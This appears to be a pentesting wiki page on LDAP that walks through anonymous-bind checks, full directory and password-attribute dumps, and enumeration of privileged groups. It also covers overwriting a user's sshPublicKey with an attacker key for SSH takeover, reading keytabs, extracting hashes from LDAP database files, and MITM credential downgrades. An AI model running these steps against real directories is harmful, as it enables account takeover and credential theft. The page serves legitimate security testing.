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304 lines
11 KiB
Markdown
304 lines
11 KiB
Markdown
# 389, 636, 3268, 3269 - Pentesting LDAP
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## Basic Information
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Extracted from: [https://searchmobilecomputing.techtarget.com/definition/LDAP](https://searchmobilecomputing.techtarget.com/definition/LDAP)
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LDAP \(Lightweight Directory Access Protocol\) is a software protocol for enabling anyone to locate organizations, individuals, and other resources such as files and devices in a network, whether on the public Internet or on a corporate intranet. LDAP is a "lightweight" \(smaller amount of code\) version of Directory Access Protocol \(DAP\).
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An LDAP directory can be distributed among many servers. Each server can have a replicated version of the total directory that is synchronized periodically. An LDAP server is called a Directory System Agent \(DSA\). An LDAP server that receives a request from a user takes responsibility for the request, passing it to other DSAs as necessary, but ensuring a single coordinated response for the user.
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An LDAP directory is organized in a simple "tree" hierarchy consisting of the following levels:
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* The root directory \(the starting place or the source of the tree\), which branches out to
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* Countries, each of which branches out to
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* Organizations, which branch out to
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* Organizational units \(divisions, departments, and so forth\), which branches out to \(includes an entry for\)
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* Individuals \(which includes people, files, and shared resources such as printers\)
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**Default port:** 389 and 636\(ldaps\). Global Catalog \(LDAP in ActiveDirectory\) is available by default on ports 3268, and 3269 for LDAPS.
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```text
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PORT STATE SERVICE REASON
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389/tcp open ldap syn-ack
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636/tcp open tcpwrapped
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```
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## Basic Enumeration
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### Manual
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You can try to **enumerate a LDAP with or without credentials using python**: `pip3 install ldap3`
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First try to **connect without** credentials:
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```bash
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>>> import ldap3
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>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
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>>> connection = ldap3.Connection(server)
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>>> connection.bind()
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True
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>>> server.info
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```
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If the response is `True` like in the previous example, you can obtain some **interesting data** of the LDAP \(like the **naming context** or **domain name**\) server from:
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```bash
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>>> server.info
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DSA info (from DSE):
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Supported LDAP versions: 3
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Naming contexts:
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dc=DOMAIN,dc=DOMAIN
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```
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Once you have the naming context you can make some more exciting queries. This simply query should show you all the objects in the directory:
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```bash
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>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
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True
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>> connection.entries
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```
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Or **dump** the whole ldap:
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```bash
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>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
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True
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>>> connection.entries
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```
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### Automated
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Using this you will be able to see the **public information** \(like the domain name\)**:**
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```bash
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nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
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```
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## Write data
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Note that if you can modify values you could be able to perform really interesting actions. For example, imagine that you **can change the "sshPublicKey" information** of your user or any user. It's highly probable that if this attribute exist, then **ssh is reading the public keys from LDAP**. If you can modify the public key of a user you **will be able to login as that user even if password authentication is not enabled in ssh**.
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```bash
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>>> import ldap3
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>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
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>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
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>>> connection.bind()
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True
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>>> connection.extend.standard.who_am_i()
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u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
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>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
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```
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Example taken from: [https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/](https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/)
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## Clear text credentials
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If LDAP is used without SSL you can **sniff credentials in plain text** in the network.
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Also, you can perform a **MITM** attack in the network **between the LDAP server and the client.** Here you can make a **Downgrade Attack** so the client with use the **credentials in clear text** to login.
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**If SSL is used** you can try to make **MITM** like the mentioned above but offering a **false certificate**, if the **user accepts it**, you are able to Downgrade the authentication method and see the credentials again.
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## Valid Credentials
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If you have valid credentials to login into the LDAP server, you can dump all the information about the Domain Admin using:
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[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
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```bash
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pip3 install ldapdomaindump
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ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
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```
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### [Brute Force](../brute-force.md#ldap)
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### Manual
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#### ldapsearch
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Check null credentials or if your credentials are valid:
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```bash
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ldapsearch -x -h <IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TDL>"
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ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TDL>"
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```
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```bash
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## CREDENTIALS NOT VALID RESPONSE
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search: 2
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result: 1 Operations error
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text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
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tion a successful bind must be completed on the connection., data 0, v3839
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```
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If you find something saying that the "_bind must be completed_" means that the credentials arr incorrect.
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You can extract **everything from a domain** using:
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```bash
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ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TDL>"
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-x Simple Authentication
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-h LDAP Server
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-D My User
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-w My password
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-b Base site, all data from here will be given
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```
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Extract **users**:
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```bash
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ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TDL>"
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#Example: ldapsearch -x -h <IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
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```
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Extract **computers**:
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```bash
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ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TDL>"
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```
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Extract **my info**:
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```bash
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ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TDL>"
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```
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Extract **Domain Admins**:
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```bash
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ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TDL>"
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```
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Extract **Domain Users**:
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```bash
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ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TDL>"
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```
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Extract **Enterprise Admins**:
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```bash
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ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TDL>"
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```
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Extract **Administrators**:
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```bash
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ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TDL>"
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```
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Extract **Remote Desktop Group**:
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```bash
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ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TDL>"
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```
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To see if you have access to any password you can use grep after executing one of the queries:
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```bash
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<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
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```
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Please, notice that the passwords that you can find here could not be the real ones...
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#### pbis
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You can download **pbis** from here: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) and it's usually installed in `/opt/pbis`.
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**Pbis** allow you to get basic information easily:
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```bash
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#Read keytab file
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./klist -k /etc/krb5.keytab
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#Get known domains info
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./get-status
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./lsa get-status
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#Get basic metrics
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./get-metrics
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./lsa get-metrics
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#Get users
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./enum-users
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./lsa enum-users
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#Get groups
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./enum-groups
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./lsa enum-groups
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#Get all kind of objects
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./enum-objects
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./lsa enum-objects
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#Get groups of a user
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./list-groups-for-user <username>
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./lsa list-groups-for-user <username>
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#Get groups of each user
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./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
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#Get users of a group
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./enum-members --by-name "domain admins"
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./lsa enum-members --by-name "domain admins"
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#Get users of each group
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./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
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#Get description of each user
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./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
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echo "$line";
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./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
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echo "======================"
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done
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```
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## Graphical Interface
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### Apache Directory
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\*\*\*\*[**Download Apache Directory from here**](https://directory.apache.org/studio/download/download-linux.html). You can find an [example of how to use this tool here](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s).
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### jxplorer
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You can download a graphical interface with LDAP server here: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
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By default is is installed in: _/opt/jxplorer_
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## Authentication via kerberos
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Using `ldapsearch` you can **authenticate** against **kerberos instead** of via **NTLM** by using the parameter `-Y GSSAPI`
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## POST
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If you can access the files where the databases are contained \(could be in _/var/lib/ldap_\). You can extract the hashes using:
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```bash
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cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
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```
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You can feed john with the password hash \(from '{SSHA}' to 'structural' without adding 'structural'\).
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### Configuration Files
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* General
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* containers.ldif
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* ldap.cfg
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* ldap.conf
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* ldap.xml
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* ldap-config.xml
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* ldap-realm.xml
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* slapd.conf
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* IBM SecureWay V3 server
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* V3.sas.oc
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* Microsoft Active Directory server
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* msadClassesAttrs.ldif
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* Netscape Directory Server 4
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* nsslapd.sas\_at.conf
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* nsslapd.sas\_oc.conf
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* OpenLDAP directory server
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* slapd.sas\_at.conf
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* slapd.sas\_oc.conf
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* Sun ONE Directory Server 5.1
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* 75sas.ldif
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